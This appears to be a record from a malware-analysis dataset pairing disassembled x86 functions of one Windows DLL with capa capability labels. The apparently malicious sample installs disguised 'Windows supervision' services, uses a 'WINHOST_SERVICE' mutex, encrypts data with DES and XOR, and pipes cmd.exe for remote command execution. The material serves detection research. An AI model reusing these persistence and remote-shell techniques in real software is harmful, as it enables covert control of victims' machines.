joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003c8e0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x14
mov eax, dword [0x100d3fe0]
xor eax, esp
mov dword [esp + 0x10], eax
push edi
mov edi, ecx
movzx eax, word [edi + 0x104b8]
mov ecx, dword [edi + 0x104bc]
push eax
push ecx
lea ecx, [edi + 0x24]
call fcn.100345b0
mov eax, dword [edi + 0x104bc]
push eax
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x1003c934
mov eax, dword [edi + 0x104bc]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x1003ca1e
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov eax, dword [eax]
xor ecx, ecx
mov dword [esp + 5], ecx
mov dword [esp + 9], ecx
mov dword [esp + 0xd], ecx
mov word [esp + 0x11], cx
mov byte [esp + 0x13], cl
push esi
mov ecx, eax
shr ecx, 0x18
push ecx
mov edx, eax
shr edx, 0x10
mov ecx, eax
and edx, 0xff
push edx
shr ecx, 8
movzx edx, al
and ecx, 0xff
push ecx
push edx
lea eax, [esp + 0x18]
push str._d._d._d._d
push eax
mov byte [esp + 0x20], 0
call fcn.100807c6
add esp, 0x18
lea ecx, [esp + 8]
push ecx
mov ecx, dword [edi + 0x10488]
call fcn.10037cf0
cmp byte [esp + 0x20], 0
mov esi, eax
je 0x1003ca60
test esi, esi
jne 0x1003ca32
mov ecx, dword [edi + 0x10488]
lea edx, [esp + 8]
push edx
call fcn.1003a9d0
mov esi, eax
mov ecx, esi
call fcn.10034c60
mov ecx, dword [esi + 0x78]
push ecx
call fcn.10034ac0
mov ecx, dword [esi + 0x78]
add esp, 4
lea edx, [esp + 8]
push edx
call fcn.10017410
mov edi, dword [edi + 0x104b8]
test edi, edi
je 0x1003c9ef
mov eax, dword [esi + 0x78]
mov ecx, dword [eax + 4]
mov dword [ecx + 0x7c], edi
mov ecx, dword [esi + 0x78]
push 0
call fcn.10017400
mov ecx, dword [esi + 0x78]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push 1
call eax
neg eax
sbb eax, eax
pop esi
neg eax
pop edi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.1007fec9
add esp, 0x14
ret 4
xor eax, eax
pop edi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.1007fec9
add esp, 0x14
ret 4
mov ecx, dword [esi + 0x78]
mov eax, dword [ecx + 4]
mov dword [esi + 0x28], eax
call fcn.10017390
test al, al
je 0x1003c9bc
pop esi
mov eax, 1
pop edi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.1007fec9
add esp, 0x14
ret 4
test esi, esi
je 0x1003ca9e
mov ecx, dword [esi + 0x78]
call fcn.10017390
test al, al
je 0x1003ca7c
mov ecx, dword [esi + 0x78]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push 0
call eax
mov ecx, dword [esi + 0x84]
test ecx, ecx
je 0x1003ca9e
call fcn.10017390
test al, al
je 0x1003ca9e
mov ecx, dword [esi + 0x84]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push 0
call eax
mov ecx, dword [esp + 0x18]
pop esi
pop edi
xor ecx, esp
xor eax, eax
call fcn.1007fec9
add esp, 0x14
ret 4
Function at 0x10047bd0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x10
mov eax, dword [ebx + 0x50]
mov ecx, dword [esp + 0x14]
push ebp
mov ebp, dword [ebx + 0x40]
mov dword [esp + 8], ebp
cmp eax, ecx
je 0x10047bf8
test eax, eax
jne 0x10047bee
cmp byte [ebx], al
je 0x10047c04
mov eax, 0xb
pop ebp
add esp, 0x10
ret
cmp byte [ebx], 0
je 0x10047c04
xor eax, eax
pop ebp
add esp, 0x10
ret
test eax, eax
jne 0x10047c17
test ecx, ecx
je 0x10047c17
mov dword [ebx + 0x50], ecx
mov eax, dword [ecx + 0x48]
call fcn.10046da0
push esi
mov esi, dword [ebx + 0x44]
push edi
movzx edi, byte [ebx + 8]
movzx eax, byte [esi + edi]
push eax
mov eax, ebx
call fcn.10047b50
movzx edx, byte [ebx + 4]
mov byte [ebx + 2], 0
mov byte [ebx + 1], 0
movzx ecx, word [ebp + 0x1e]
mov eax, 3
sub eax, edx
lea eax, [edi + eax*4]
mov word [ebx + 0xe], ax
movzx ebp, byte [esi + edi + 5]
movzx dx, byte [esi + edi + 4]
mov dword [esp + 0x10], ecx
movzx ecx, byte [esi + edi + 6]
shl ebp, 8
or ebp, ecx
movzx cx, byte [esi + edi + 3]
mov dword [esp + 0x1c], eax
shl cx, 8
or cx, dx
mov edx, dword [esp + 0x14]
movzx eax, cx
mov dword [esp + 0x18], eax
mov word [ebx + 0x14], cx
movzx edx, word [edx + 0x1c]
sub edx, 8
mov eax, 0x2aaaaaab
imul edx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
add esp, 4
cmp edx, eax
jg 0x10047d26
test cx, cx
jne 0x10047cba
mov eax, dword [esp + 0x20]
test eax, eax
je 0x10047cba
cmp dword [eax + 0x4c], 1
jne 0x10047d26
movzx eax, byte [esi + edi + 1]
movzx ecx, byte [esi + edi + 2]
movzx edi, byte [esi + edi + 7]
add edx, edx
sub edi, edx
sub edi, dword [esp + 0x18]
shl eax, 8
or eax, ecx
add edi, ebp
test eax, eax
jle 0x10047d1c
lea esp, [esp]
mov ecx, dword [esp + 0xc]
add ecx, 0xfffffffc
cmp eax, ecx
jg 0x10047d26
movzx ecx, byte [eax + esi]
movzx edx, byte [eax + esi + 1]
movzx ebp, byte [eax + esi + 3]
shl ecx, 8
or ecx, edx
movzx edx, byte [eax + esi + 2]
shl edx, 8
or edx, ebp
test ecx, ecx
jle 0x10047d14
lea eax, [edx + eax + 3]
cmp ecx, eax
jle 0x10047d26
add edi, edx
mov eax, ecx
test ecx, ecx
jg 0x10047ce0
cmp edi, dword [esp + 0xc]
mov word [ebx + 0x12], di
jl 0x10047d32
pop edi
pop esi
mov eax, 0xb
pop ebp
add esp, 0x10
ret
pop edi
pop esi
mov byte [ebx], 1
xor eax, eax
pop ebp
add esp, 0x10
ret
Function at 0x1005d090
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x10
push esi
push edi
mov esi, eax
mov eax, dword [esi + 0x4c]
mov edi, dword [esi + 0x40]
push 0
push eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x14]
push edx
push edi
mov dword [esp + 0x28], edi
call fcn.1005b6c0
add esp, 0x14
test eax, eax
jne 0x1005d1dc
mov ecx, dword [esi + 0x44]
movzx eax, byte [esi + 8]
push ebx
mov ebx, dword [esp + 0xc]
mov edx, dword [ebx + 0x44]
add eax, ecx
push ebp
movzx ebp, word [edi + 0x1e]
movzx edi, byte [eax + 5]
mov dword [esp + 0x14], ecx
movzx ecx, byte [eax + 6]
mov dword [esp + 0x10], edx
movzx edx, word [esi + 0xe]
shl edi, 8
or edi, ecx
movzx ecx, word [esi + 0x14]
lea edx, [edx + ecx*2]
movzx ecx, byte [esi + 8]
sub edx, ecx
push edx
push eax
mov eax, dword [esp + 0x18]
push eax
call fcn.1007f6e0
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
sub ebp, edi
push ebp
lea edx, [edi + ecx]
push edx
add eax, edi
push eax
call fcn.1007f6e0
push esi
call fcn.10047bd0
mov edi, eax
add esp, 0x1c
test edi, edi
jne 0x1005d1d1
movzx ecx, byte [esi + 2]
add ecx, ecx
add ecx, ecx
add ecx, ecx
push ecx
lea edx, [esi + 0x18]
push edx
lea eax, [ebx + 0x18]
push eax
call fcn.1007f6e0
mov al, byte [esi + 2]
add esp, 0xc
mov byte [ebx + 2], al
test al, al
je 0x1005d15c
xor ecx, ecx
mov word [ebx + 0x12], cx
mov edx, dword [ebx + 0x44]
movzx eax, byte [edx]
and eax, 0xfffffff7
push eax
call fcn.10047d40
movzx ecx, byte [esi + 8]
mov edx, dword [esi + 0x44]
mov eax, dword [esp + 0x1c]
add esp, 4
lea ecx, [ecx + edx + 8]
call fcn.10045800
mov ecx, dword [esp + 0x1c]
cmp byte [ecx + 0x16], 0
je 0x1005d1c6
mov eax, dword [esi + 0x4c]
push eax
mov eax, dword [ebx + 0x4c]
push 5
call fcn.1005a600
mov edi, eax
add esp, 8
test edi, edi
jne 0x1005d1d1
xor ecx, ecx
xor esi, esi
cmp cx, word [ebx + 0x14]
jae 0x1005d1c6
lea ecx, [ecx]
mov eax, esi
mov ecx, ebx
call fcn.1005a7b0
test eax, eax
jne 0x1005d1da
movzx edx, word [ebx + 0x14]
inc esi
cmp esi, edx
jl 0x1005d1b0
push ebx
call fcn.1005c510
add esp, 4
mov edi, eax
mov eax, ebx
call fcn.10055170
mov eax, edi
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x10
ret
Function at 0x1007bcb0
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x100b9143
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x100d3fe0]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
push 0x10020480
call fcn.100804ec
add esp, 4
push 0x32
push str.WINHOST_SERVICE_MUTEX_E
push 0x100d73ae
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push str.WINHOST_SERVICE_MUTEX_D
mov ecx, 0x100d7378
mov dword [0x100d7378], 0x10020c30
call fcn.10020570
test eax, eax
je 0x1007bde1
lea eax, [esp + 4]
push eax
push 0
push 0x100d7378
push 0x1007d3f0
push 0
push 0
mov dword [0x100d73e0], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x100d7368], 0
mov dword [0x100d73e4], eax
jne 0x1007bdcc
push 0x10ed0
call fcn.10080587
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0x30], 0
test eax, eax
je 0x1007bd70
mov ecx, eax
call fcn.1003ae50
jmp 0x1007bd72
xor eax, eax
push 0
push 0
mov ecx, eax
mov dword [esp + 0x38], 0xffffffff
mov dword [0x100d7368], eax
call fcn.10011430
mov ecx, dword [0x100d7368]
mov edx, dword [ecx + 4]
push str.WINHOST_SERVICE_MUTEX_D
push edx
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
lea ecx, [esp + 0xc]
call fcn.100115c0
lea ecx, [esp + 8]
mov dword [esp + 0x30], 1
call fcn.10011580
lea ecx, [esp + 8]
mov dword [esp + 0x30], 0xffffffff
call fcn.100115d0
push 0
push 3
call fcn.1007bc10
push 0
push 1
call fcn.1007bc10
add esp, 0x10
xor eax, eax
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
add esp, 0x30
ret
Function at 0x1007c120
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
push 0
push 0x80
push 2
push 0
push 3
push 0x40000000
push str.c:cmj.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov esi, eax
lea eax, [esp + 8]
push eax
push 1
push 0x100c4eec
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ecx
ret

Function at 0x1007c530
Capabilities:
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x100b91cb
mov eax, dword fs:[0]
push eax
sub esp, 0x108
mov eax, dword [0x100d3fe0]
xor eax, esp
mov dword [esp + 0x104], eax
push esi
push edi
mov eax, dword [0x100d3fe0]
xor eax, esp
push eax
lea eax, [esp + 0x114]
mov dword fs:[0], eax
mov esi, dword [esp + 0x128]
mov eax, dword [esi]
push 0x100
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.10085ef0
mov edx, dword [esi]
push 0x100
push edx
lea eax, [esp + 0x24]
push eax
call fcn.10083517
mov ecx, dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
add esp, 0x18
push str.netmoni
push ecx
call edi
test eax, eax
je 0x1007c682
mov edx, dword [esi]
push str.netmoni2
push edx
call edi
test eax, eax
jne 0x1007c682
lea ecx, [esp + 0xc]
call fcn.10016230
push str.Windows_supervision_service
lea ecx, [esp + 0x10]
mov dword [esp + 0x120], 0
call fcn.10016470
test al, al
jne 0x1007c637
push 1
push str.Provides_support_for_windows_management_and_manager_supervision
push str.Windows_supervision_service
push str.winmon
push 0x100bbcd0
call fcn.1007be00
add esp, 0x14
push str.Supervision_service_Helper
lea ecx, [esp + 0x10]
call fcn.10016470
test al, al
jne 0x1007c647
push 1
push str.Helper_for_supervision_service
push str.Supervision_service_Helper
push str.winmon2
push 0x100bbca4
call fcn.1007be00
add esp, 0x14
jmp 0x1007c647
push 3
push str.Supervision_service_Helper
lea ecx, [esp + 0x14]
call fcn.100164d0
push 0
call fcn.10020cb0
push 0
push 1
call fcn.1007bc10
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 0xc]
mov dword [esp + 0x11c], 0xffffffff
call fcn.10016250
jmp 0x1007c708
push 0x1007c440
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
mov dword [0x100d7f4c], eax
test eax, eax
je 0x1007c708
push 1
push 2
call fcn.1007bc10
push 0
push 4
call fcn.1007bc10
add esp, 0x10
cmp dword [esp + 0x124], 1
jle 0x1007c6e3
mov ecx, dword [esi + 4]
push 0x100
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.10085ef0
mov eax, dword [esi + 4]
push 0x100
push eax
lea ecx, [esp + 0x24]
push ecx
call fcn.10083517
add esp, 0x18
push 0
push 0
call fcn.1007bcb0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
push 0xa
call esi
mov eax, dword [0x100d7f50]
cmp eax, 3
je 0x1007c708
cmp eax, 1
jne 0x1007c6f5
mov ecx, dword [esp + 0x114]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.1007fec9
add esp, 0x114
ret 8
Function at 0x1007c7a0
Capabilities:
Stop service

Disassembly:
sub esp, 0x1c
push ebx
mov ebx, ecx
cmp dword [ebx + 0x14], 0
jne 0x1007c7b3
xor eax, eax
pop ebx
add esp, 0x1c
ret
push ebp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
test ebp, ebp
jne 0x1007c7d2
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1c
ret
mov eax, dword [ebx + 4]
push esi
push edi
push 0xf01ff
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x1007c815
mov ecx, dword [ebx]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push edx
push 1
push edi
mov dword [ebx], 0
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov esi, eax
neg esi
sbb esi, esi
and esi, 7
add esi, 0xfffffff9
jmp 0x1007c81a
mov esi, 0xfffffffe
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push ebp
call edi
test esi, esi
jne 0x1007c82d
mov dword [ebx + 0x14], esi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x1007c960
Capabilities:
Read file on windows

Disassembly:
push ecx
mov edx, dword [esp + 0xc]
mov ecx, dword [ecx]
push 0
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 0x10]
push edx
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
neg eax
sbb eax, eax
and eax, dword [esp]
pop ecx
ret 8

Function at 0x1007c990
Capabilities:
Delete service
Stop service

Disassembly:
sub esp, 0x1c
push ebx
push edi
push 0xf003f
push 0
push 0
mov edi, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
jne 0x1007c9b5
pop edi
or eax, 0xffffffff
pop ebx
add esp, 0x1c
ret
mov eax, dword [edi + 4]
push esi
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x1007c9e9
mov ecx, dword [edi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0xc]
push edx
push 1
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
pop esi
mov dword [edi + 0x14], 0
pop edi
mov eax, 1
pop ebx
add esp, 0x1c
ret
Function at 0x1007ca10
Capabilities:
Delete service

Disassembly:
push ebx
push ebp
push esi
push edi
mov esi, ecx
xor ebx, ebx
xor edi, edi
cmp dword [esi + 0x14], ebx
je 0x1007ca91
call fcn.1007c7a0
mov edi, eax
cmp edi, ebx
jne 0x1007ca91
cmp dword [esi + 0x1c], ebx
je 0x1007ca91
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
cmp ebp, ebx
jne 0x1007ca4c
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4
mov eax, dword [esi + 4]
push 0xf01ff
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x1007ca77
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov edi, eax
neg edi
sbb edi, edi
and edi, 8
add edi, 0xfffffff8
jmp 0x1007ca7c
mov edi, 0xfffffffe
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call ebx
push ebp
call ebx
xor ebx, ebx
test edi, edi
jne 0x1007ca91
mov dword [esi + 0x18], edi
cmp dword [esi + 0x10], ebx
je 0x1007cadc
cmp edi, ebx
je 0x1007caa0
cmp dword [esp + 0x14], ebx
je 0x1007cadc
mov eax, dword [esi + 8]
mov dword [esi + 0x10], ebx
cmp eax, ebx
je 0x1007cab6
push eax
call fcn.1007f35c
add esp, 4
mov dword [esi + 8], ebx
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x1007cac9
push eax
call fcn.1007f35c
add esp, 4
mov dword [esi + 0xc], ebx
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x1007cadc
push eax
call fcn.1007f35c
add esp, 4
mov dword [esi + 4], ebx
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x1007d1d0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Execute shell command and capture output

Disassembly:
sub esp, 0x78
mov eax, dword [0x100d3fe0]
xor eax, esp
mov dword [esp + 0x74], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreatePipe]
push esi
push edi
xor eax, eax
mov esi, ecx
push eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0x14]
push eax
lea edi, [esi + 4]
push edi
push esi
mov dword [esp + 0x20], 0xc
mov dword [esp + 0x28], 1
call ebp
push 0
lea ecx, [esp + 0x14]
push ecx
lea edx, [esi + 0xc]
push edx
lea ebx, [esi + 8]
push ebx
call ebp
push 0x44
lea eax, [esp + 0x30]
push 0
push eax
call fcn.1007f650
mov edx, dword [ebx]
mov eax, dword [str.cmd.exe]
mov edi, dword [edi]
xor ecx, ecx
mov word [esp + 0x68], cx
mov ecx, dword [0x100c5000]
mov dword [esp + 0x70], edx
mov edx, dword [str.command.com]
mov dword [esp + 0x7c], eax
mov eax, dword [0x100c4ff4]
mov dword [esp + 0x80], ecx
mov ecx, dword [0x100c4ff8]
add esp, 0xc
mov dword [esp + 0x58], 0x101
mov dword [esp + 0x6c], edi
mov dword [esp + 0x68], edi
mov dword [esp + 0x78], edx
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], ecx
call fcn.10033100
test al, al
lea eax, [esp + 0x70]
jne 0x1007d29b
lea eax, [esp + 0x78]
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x30]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x84]
pop edi
mov dword [esi + 0x14], edx
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1007fec9
add esp, 0x78
ret

Function at 0x1007d2e0
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebx
push esi
push edi
push 0x32
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi]
push 0
push 0
lea ebx, [esi + 0x10]
push ebx
push 0x1000
lea edi, [esi + 0x18]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebx], 0
je 0x1007d335
mov ebx, dword [esp + 0x10]
mov ecx, dword [esi]
push 0
push ebx
push 0x1000
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebx]
mov byte [edx + esi + 0x18], 0
test eax, eax
je 0x1007d33f
mov eax, edi
pop edi
pop esi
pop ebx
ret 4
mov eax, dword [esp + 0x10]
mov dword [eax], 0
pop edi
pop esi
xor eax, eax
pop ebx
ret 4

Function at 0x1007d350
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
push esi
push 0
lea eax, [ecx + 0x10]
mov ecx, dword [ecx + 0xc]
push eax
mov eax, dword [esp + 0x10]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x64
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
setne al
pop esi
ret 8
Function at 0x1007d380
Capabilities:
Terminate process
Write file on windows

Disassembly:
sub esp, 0xc
mov eax, dword [0x100d3fe0]
xor eax, esp
mov dword [esp + 8], eax
mov eax, dword [str.exit_r_n]
mov dl, byte [0x100c500a]
push esi
mov esi, ecx
mov cx, word [0x100c5008]
push 0
mov dword [esp + 8], eax
lea eax, [esi + 0x10]
push eax
mov word [esp + 0x10], cx
push 6
lea ecx, [esp + 0x10]
mov byte [esp + 0x16], dl
mov edx, dword [esi + 0xc]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esi + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [esp + 0xc]
pop esi
xor ecx, esp
call fcn.1007fec9
add esp, 0xc
ret

Function at 0x1007e810
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, edx
test esi, esi
jle 0x1007e82b
sub ecx, eax
lea esp, [esp]
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
sub esi, 1
jne 0x1007e820
pop esi
ret

Function at 0x1007e8e0
Capabilities:
Encrypt data using des

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x100d8670
mov esi, 0x40
mov edi, eax
call fcn.1007e870
push 0x100d8670
lea ecx, [esi - 8]
mov edx, 0x100c5188
mov edi, 0x100d8670
call fcn.1007e7d0
mov ebp, dword [esp + 0x1c]
add esp, 8
xor esi, esi
jmp 0x1007e920
movsx edi, byte [esi + 0x100c51f0]
mov eax, dword [0x100d3f48]
mov ebx, 0x1c
call fcn.1007e830
movsx edi, byte [esi + 0x100c51f0]
mov eax, dword [0x100d3f44]
call fcn.1007e830
push ebp
lea ecx, [ebx + 0x14]
mov edx, 0x100c51c0
mov edi, 0x100d8670
call fcn.1007e7d0
inc esi
add esp, 4
add ebp, 0x30
cmp esi, 0x10
jl 0x1007e920
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x1007ea50
Capabilities:
Encrypt data using des

Disassembly:
push edi
mov edi, eax
push 0x100d86b0
mov ecx, 0x30
mov edx, 0x100c5138
call fcn.1007e7d0
mov ecx, dword [esp + 0xc]
mov edx, 0x30
mov eax, 0x100d86b0
call fcn.1007e810
push edi
mov eax, 0x100d86b0
call fcn.1007e970
push edi
mov ecx, 0x20
mov edx, 0x100c5168
call fcn.1007e7d0
add esp, 0xc
pop edi
ret
Function at 0x1007eaa0
Capabilities:
Encrypt data using des

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0x100d8700
mov esi, 0x40
mov edi, ecx
mov ebx, eax
call fcn.1007e870
push 0x100d8700
mov ecx, esi
mov edx, 0x100c50b8
mov edi, 0x100d8700
call fcn.1007e7d0
add esp, 8
cmp byte [esp + 0x1c], 0
jne 0x1007eb37
mov ebp, dword [0x100d3f50]
mov dword [esp + 0x1c], ebx
mov ebx, dword [0x100d3f4c]
mov dword [esp + 0x10], 0x10
mov eax, dword [esp + 0x1c]
push eax
mov ecx, 8
mov esi, ebx
mov edi, 0x100d86e0
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
call fcn.1007ea50
add esp, 4
mov edx, 0x20
mov ecx, ebp
mov eax, ebx
call fcn.1007e810
add dword [esp + 0x1c], 0x30
sub dword [esp + 0x10], 1
mov ecx, 8
mov esi, 0x100d86e0
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
jne 0x1007eaf0
jmp 0x1007ebab
mov ebp, dword [0x100d3f4c]
add ebx, 0x2d0
mov dword [esp + 0x1c], ebx
mov ebx, dword [0x100d3f50]
mov dword [esp + 0x10], 0xf
jmp 0x1007eb60
mov ecx, 8
mov esi, ebx
mov edi, 0x100d86e0
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x1c]
push ecx
mov eax, ebx
call fcn.1007ea50
add esp, 4
mov edx, 0x20
mov ecx, ebp
mov eax, ebx
call fcn.1007e810
mov eax, dword [esp + 0x10]
sub dword [esp + 0x1c], 0x30
dec eax
mov ecx, 8
mov esi, 0x100d86e0
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x10], eax
test eax, eax
jge 0x1007eb60
push 0x100d8700
mov ecx, 0x40
mov edx, 0x100c50f8
mov edi, 0x100d8700
call fcn.1007e7d0
mov edx, dword [esp + 0x1c]
push edx
mov edi, 0x40
mov ebx, 0x100d8700
call fcn.1007e8a0
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x1007fec9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100d3fe0]
jne 0x1007fed3
repz ret
jmp fcn.10088118
Function at 0x1009c49d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10089491
and dword [ebp - 4], 0
cmp dword [0x100d91b4], 0
mov ebx, eax
jne 0x1009c54e
push 0x100c7f40
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1009c5ff
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x100c7f34
push edi
call esi
test eax, eax
je 0x1009c5ff
push eax
call fcn.1008941f
mov dword [esp], 0x100c7f24
push edi
mov dword [0x100d91b4], eax
call esi
push eax
call fcn.1008941f
mov dword [esp], 0x100c7f10
push edi
mov dword [0x100d91b8], eax
call esi
push eax
call fcn.1008941f
mov dword [esp], 0x100c7ef4
push edi
mov dword [0x100d91bc], eax
call esi
push eax
call fcn.1008941f
pop ecx
mov dword [0x100d91c4], eax
test eax, eax
je 0x1009c54e
push 0x100c7edc
push edi
call esi
push eax
call fcn.1008941f
pop ecx
mov dword [0x100d91c0], eax
mov eax, dword [0x100d91c0]
cmp eax, ebx
je 0x1009c5a6
cmp dword [0x100d91c4], ebx
je 0x1009c5a6
push eax
call fcn.1008949a
push dword [0x100d91c4]
mov esi, eax
call fcn.1008949a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1009c5a6
test edi, edi
je 0x1009c5a6
call esi
test eax, eax
je 0x1009c59d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1009c59d
test byte [ebp - 0xc], 1
jne 0x1009c5a6
or dword [ebp + 0x10], 0x200000
jmp 0x1009c5df
mov eax, dword [0x100d91b8]
cmp eax, ebx
je 0x1009c5df
push eax
call fcn.1008949a
pop ecx
test eax, eax
je 0x1009c5df
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1009c5df
mov eax, dword [0x100d91bc]
cmp eax, ebx
je 0x1009c5df
push eax
call fcn.1008949a
pop ecx
test eax, eax
je 0x1009c5df
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x100d91b4]
call fcn.1008949a
pop ecx
test eax, eax
je 0x1009c5ff
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1009c601
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret